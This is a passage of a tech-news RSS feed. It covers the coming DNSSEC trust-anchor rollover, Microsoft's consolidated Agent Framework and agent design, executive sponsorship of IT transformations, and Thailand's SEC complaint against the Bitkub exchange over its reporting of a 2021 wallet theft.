<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[One of these 13 gadgets could be the hero your junk drawer needs (here's why)]]></title>
<description><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></description>
<link>https://tsecurity.de/de/3691210/it-nachrichten/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691210/it-nachrichten/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</guid>
<pubDate>Fri, 24 Jul 2026 12:02:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></content:encoded>
</item>
<item>
<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack]]></title>
<description><![CDATA[Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to reg...]]></description>
<link>https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690896/it-security-nachrichten/thailand-sec-files-criminal-complaint-against-bitkub-over-2021-cyberattack/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="832" height="515" src="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Bitkub cyberattack" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack.webp 832w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-300x186.webp 300w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-768x475.webp 768w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-600x371.webp 600w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-150x93.webp 150w, https://thecyberexpress.com/wp-content/uploads/Bitkub-cyberattack-750x464.webp 750w" sizes="(max-width: 832px) 100vw, 832px" title="Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack 1"></p><span data-contrast="auto">Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29116">security</a> breach and do not reflect fraudulent conduct.</span><span data-ccp-props="{}"> </span>
<h3><strong>Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack </strong></h3>
<span data-contrast="auto">On 23 July 2026, the<a href="https://www.sec.or.th/EN/Pages/News_Detail.aspx?SECID=13139" target="_blank" rel="nofollow noopener"> Thailand SEC filed a criminal complaint</a> against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29115">cyberattack</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a <a href="https://thecyberexpress.com/fake-emails-scam-indians-heres-what-to-know/" target="_blank" rel="noopener">criminal complaint</a> does not represent a final determination of guilt.</span><span data-ccp-props="{}"> </span>
<h3><strong>Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses</strong></h3>
<span data-contrast="auto">Following media reports about the complaint, <a href="https://www.linkedin.com/posts/on-23-july-2026-news-reports-emerged-regarding-share-7486045546315694081-abKc/?utm_source=share&amp;utm_medium=member_android&amp;rcm=ACoAAAfAnJwBMfzai0rLzfzxnZE_NCnVt2ZLE_o" target="_blank" rel="nofollow noopener">Bitkub published a statement on LinkedIn</a> explaining its position on the cyberattack and the subsequent reporting decisions.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exchange stated:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company also stressed that, at the time of the Bitkub <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29117">cyberattack</a>, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Co-founders Replaced Stolen Assets After Cyberattack on Bitkub</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the <a href="https://thecyberexpress.com/keytronic-reveals-million-loss-cyberattack/" target="_blank" rel="noopener">financial loss</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In its statement, Bitkub said:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft."</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Thailand SEC Previously Confirmed Customer Assets Were Intact</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online.</span><span data-ccp-props="{}"> </span><span data-contrast="auto">According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The company reiterated this point in its latest statement, saying:</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linkdump 30/2026]]></title>
<description><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.

Many roads lead to Rome, lThe Real Meaning of "The Road Not Taken".

High Performers Are Paradox Managers gives an interesting point of view.

This is a good protocol, respecti...]]></description>
<link>https://tsecurity.de/de/3690853/it-nachrichten/linkdump-302026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690853/it-nachrichten/linkdump-302026/</guid>
<pubDate>Fri, 24 Jul 2026 08:48:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Viel Spass bei den von mir als lesenswert empfundenen Links auf Artikel, die ich in der vergangenen Woche gelesen habe.<br>
<br>
Many roads lead to Rome, l<a href="https://davidepstein.substack.com/p/what-youre-getting-wrong-about-the">The Real Meaning of "The Road Not Taken"</a>.<br>
<br>
<a href="https://knowledge.insead.edu/leadership-organisations/high-performers-are-paradox-managers">High Performers Are Paradox Managers</a> gives an interesting point of view.<br>
<br>
This is a good protocol, respectively a good advice <a href="https://thegoodbusy.substack.com/p/the-british-army-protocol-for-overwhelm">The British Army protocol for overwhelm</a>.<br>]]></content:encoded>
</item>
<item>
<title><![CDATA[AgentForger proves AI agents can become persistent insider threats]]></title>
